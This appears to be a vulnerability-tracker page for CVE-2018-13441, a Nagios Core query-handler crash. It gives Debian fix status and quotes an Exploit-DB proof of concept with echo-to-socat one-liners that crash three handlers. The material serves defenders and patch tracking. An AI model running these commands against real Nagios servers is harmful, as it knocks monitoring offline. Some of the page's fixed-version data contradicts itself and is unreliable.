CVE-2018-13441
Description
qh_help in Nagios Core version 4.4.1 and earlier is prone to a NULL pointer dereference vulnerability, which allows attacker to cause a local denial-of-service condition by sending a crafted payload to the listening UNIX socket.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
Mitigation details
CVE-2018-13441 NameCVE-2018-13441 Descriptionqh_help in Nagios Core version 4.4.1 and earlier is prone to a NULL pointer dereference vulnerability, which allows attacker to cause a local denial-of-service condition by sending a crafted payload to the listening UNIX socket. SourceCVE (at NVD; CERT, ENISA, LWN, oss-sec, fulldisc, Debian ELTS, Red Hat, Ubuntu, Gentoo, SUSE bugzilla/CVE, GitHub…
CVE-2018-13441
| Name | CVE-2018-13441 |
| Description | qh_help in Nagios Core version 4.4.1 and earlier is prone to a NULL pointer dereference vulnerability, which allows attacker to cause a local denial-of-service condition by sending a crafted payload to the listening UNIX socket. |
| Source | CVE (at NVD; CERT, ENISA, LWN, oss-sec, fulldisc, Debian ELTS, Red Hat, Ubuntu, Gentoo, SUSE bugzilla/CVE, GitHub advisories/code/issues, web search, more) |
| Debian Bugs | 917160 |
Vulnerable and fixed packages
The table below lists information on source packages.
| Source Package | Release | Version | Status |
|---|---|---|---|
| nagios4 (PTS) | bookworm, bullseye | 4.4.6-4 | fixed |
| bookworm (security) | 4.4.6-4+deb12u1 | fixed | |
| trixie | 4.4.6-4.1 | fixed | |
| trixie (security) | 4.4.6-4.1+deb13u1 | fixed | |
| sid | 4.5.12+ds-1 | fixed |
The information below is based on the following data on fixed versions.
| Package | Type | Release | Fixed Version | Urgency | Origin | Debian Bugs |
|---|---|---|---|---|---|---|
| nagios4 | source | (unstable) | 4.3.4-3 | low | 917160 |
Notes
https://gist.github.com/fakhrizulkifli/8df4a174158df69ebd765f824bd736b8
https://github.com/NagiosEnterprises/nagioscore/commit/b1a92a3b52d292ccb601e77a0b29cb1e67ac9d76
Apply commands
https://gist.github.com/fakhrizulkifli/8df4a174158df69ebd765f824bd736b8https://github.com/NagiosEnterprises/nagioscore/commit/b1a92a3b52d292ccb601e77a0b29cb1e67ac9d76Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Nagios Core 4.4.1 - Denial of Service
# Exploit Title: Nagios Core Multiple Local Denial of Service
# Date: 2018-07-09
# Exploit Author: Fakhri Zulkifli (@d0lph1n98)
# Vendor Homepage: https://www.nagios.org/
# Software Link: https://www.nagios.org/downloads/nagios-core/
# Version: 4.4.1 and earlier
# Tested on: 4.4.1
qh_core, qh_help, and qh_echo in Nagios Core 4.4.1 and earlier is prone to a NULL pointer dereference vulnerability, which allows attackers to cause a local denial-of-service condition by sending a crafted payload to the listening UNIX socket.
1. [CVE-2018-13458] qh_core
$ echo -ne “#core\0" | socat unix-connect:./poc/nagios.qh -
$ echo -ne “@core\0" | socat unix-connect:./poc/nagios.qh -
2. [CVE-2018-13457] qh_echo
$ echo -ne "#echo\0" | socat unix-connect:./poc/nagios.qh -
$ echo -ne “@echo\0" | socat unix-connect:./poc/nagios.qh -
3. [CVE-2018-13441] qh_help
$ echo -ne “#help\0" | socat unix-connect:./poc/nagios.qh -
$ echo -ne “@help\0" | socat unix-connect:./poc/nagios.qh -OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 4.3.4-3 |
| sid | Fixed | 4.3.4-3 |
| forky | Fixed | 4.3.4-3 |
| bullseye | Fixed | 4.3.4-3 |
| bookworm | Fixed | 4.3.4-3 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.